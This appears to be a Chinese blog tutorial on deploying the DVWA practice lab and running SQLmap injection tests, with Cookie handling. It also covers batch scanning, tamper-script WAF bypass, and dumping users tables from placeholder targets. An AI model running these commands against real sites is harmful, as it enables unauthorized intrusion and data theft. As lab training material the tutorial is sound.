news 2026/4/20 23:06:42

SQLmap实战:从零开始搭建DVWA靶场并完成注入测试(附完整Cookie配置)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQLmap实战:从零开始搭建DVWA靶场并完成注入测试(附完整Cookie配置)

SQLmap实战:从零搭建DVWA靶场与自动化注入测试全流程

在网络安全领域,SQL注入始终占据OWASP Top 10漏洞榜首。对于刚接触渗透测试的开发者而言,如何将理论转化为实战能力成为关键突破点。本文将采用"环境搭建→工具配置→实战演练"的递进式教学法,带你完整走通从DVWA靶场部署到SQLmap自动化注入的全流程。不同于基础教程,我们特别聚焦Cookie动态获取、批量测试策略以及WAF绕过技巧三大实战痛点。

1. 实验环境构建:DVWA靶场部署

1.1 靶场组件选型与初始化

DVWA(Damn Vulnerable Web Application)作为专为安全训练设计的PHP/MySQL应用,其低安全等级配置完美匹配SQL注入实验需求。部署前需准备:

  • Web服务器:XAMPP 8.2.4(集成Apache 2.4.57+MySQL 8.0.34)
  • PHP版本:7.4.33(兼容DVWA所有模块)
  • 数据库:MariaDB 10.4.28(MySQL分支)
# 下载DVWA最新版 wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ mv /opt/lampp/htdocs/DVWA-master /opt/lampp/htdocs/dvwa

1.2 关键配置调优

修改config/config.inc.php文件中的数据库连接参数:

$_DVWA = array( 'db_server' => '127.0.0.1', 'db_database' => 'dvwa', 'db_user' => 'dvwa_user', 'db_password' => 'p@ssw0rd', 'db_port' => 3306 );

执行初始化脚本创建数据库结构:

mysql -u root -p < /opt/lampp/htdocs/dvwa/sql/dvwa.sql mysql -u root -p -e "CREATE USER 'dvwa_user'@'localhost' IDENTIFIED BY 'p@ssw0rd'" mysql -u root -p -e "GRANT ALL ON dvwa.* TO 'dvwa_user'@'localhost'"

注意:若遇到"Could not connect to MySQL"错误,需检查MariaDB服务状态并确保skip-networking配置已禁用

2. SQLmap核心功能深度解析

2.1 智能参数探测机制

SQLmap采用多阶段检测算法:

  1. 启发式检测:通过响应时间差异判断布尔盲注可行性
  2. 错误回显分析:识别MySQL/MSSQL等数据库特有错误模式
  3. 联合查询测试:自动构造UNION ALL语句探测列数
# 典型检测流程(level 3) python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --level=3 --risk=1 --technique=BEUST

其中BEUST表示:

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind

2.2 Cookie动态处理方案

针对需要认证的注入点,推荐使用Burp Suite捕获Cookie:

  1. 浏览器访问DVWA登录页(默认账号admin/password)
  2. 提交登录请求后,在Burp Proxy的History标签页找到POST /dvwa/login.php
  3. 复制Cookie: PHPSESSID=abcd1234; security=low

通过--cookie参数注入:

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=abcd1234; security=low" --batch

3. 高级注入技巧实战

3.1 批量目标自动化测试

创建目标URL列表文件targets.txt

http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1 http://192.168.1.101/dvwa/vulnerabilities/sqli/?id=1

执行批量扫描:

python sqlmap.py -m targets.txt --cookie="PHPSESSID=abcd1234; security=low" --output-dir=/var/reports --flush-session

3.2 WAF绕过技术组合

当遇到Cloudflare等WAF时,采用tamper脚本组合:

python sqlmap.py -u "http://target.com/news.php?id=1" --tamper=space2comment,randomcase --delay=2 --safe-url="http://target.com/contact.php"

常用tamper脚本效果对比:

脚本名称功能描述适用场景
space2comment空格转/**/基础过滤绕过
randomcase随机大小写规则引擎规避
chardoubleencode双重URL编码多层解码系统
apostrophemask单引号转UTF-8字符过滤绕过

4. 实战问题排查手册

4.1 典型错误解决方案

  • 空结果问题:添加--string="Welcome back"指定成功匹配字符串
  • 302重定向:使用--ignore-redirects跳过跳转页面
  • 速度限制:设置--delay=3 --timeout=30降低请求频率

4.2 数据提取优化技巧

当数据库较大时,采用分块下载:

# 仅下载users表前100条记录 python sqlmap.py -u "http://target.com/news.php?id=1" --dump -T users --start=1 --stop=100 --threads=3

在真实渗透测试中,遇到某电商平台采用非常规Cookie验证机制。通过--eval参数动态更新Cookie值:

python sqlmap.py -u "http://api.store.com/product?id=1" --eval="import requests; cookies=requests.get('http://api.store.com/token').cookies; print('token='+cookies['token'])"
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 4:54:19

SCS与微服务架构:分布式会话管理的完整解决方案

SCS与微服务架构&#xff1a;分布式会话管理的完整解决方案 【免费下载链接】scs HTTP Session Management for Go 项目地址: https://gitcode.com/gh_mirrors/sc/scs 在当今微服务架构盛行的时代&#xff0c;分布式会话管理已成为构建可靠、可扩展系统的关键挑战。SCS&…

作者头像 李华
网站建设 2026/4/18 19:04:04

CPU-X项目架构演进:从C到C++17的重大技术升级

CPU-X项目架构演进&#xff1a;从C到C17的重大技术升级 【免费下载链接】CPU-X CPU-X is a Free software that gathers information on CPU, motherboard and more 项目地址: https://gitcode.com/gh_mirrors/cp/CPU-X CPU-X是一款免费开源软件&#xff0c;用于收集CPU…

作者头像 李华
网站建设 2026/4/18 23:45:51

技术活动网络图的依赖关系展示

技术活动网络图的依赖关系展示&#xff1a;项目管理中的关键工具 在现代项目管理中&#xff0c;技术活动网络图&#xff08;如PERT图或甘特图&#xff09;是规划和控制复杂任务的重要工具。它通过可视化任务之间的依赖关系&#xff0c;帮助团队识别关键路径、优化资源分配并降…

作者头像 李华
网站建设 2026/4/18 11:24:06

MiniCPM-V-2_6工业图纸识别:CAD截图要素提取与标准件标注生成

MiniCPM-V-2_6工业图纸识别&#xff1a;CAD截图要素提取与标准件标注生成 1. 项目概述与价值 工业设计领域每天产生大量的CAD图纸&#xff0c;工程师需要花费大量时间手动识别图纸中的各种要素和标准件。传统方法不仅效率低下&#xff0c;还容易出错。现在&#xff0c;借助Mi…

作者头像 李华
网站建设 2026/4/19 2:14:39

Fish-Speech 1.5实战教程:用默认参数生成第一段语音的完整步骤

Fish-Speech 1.5实战教程&#xff1a;用默认参数生成第一段语音的完整步骤 1. 准备工作&#xff1a;访问WebUI界面 首先确保你已经完成了Fish-Speech 1.5的部署。如果你使用的是预装镜像&#xff0c;只需在浏览器地址栏输入&#xff1a; http://你的服务器IP:7860等待3-8秒页…

作者头像 李华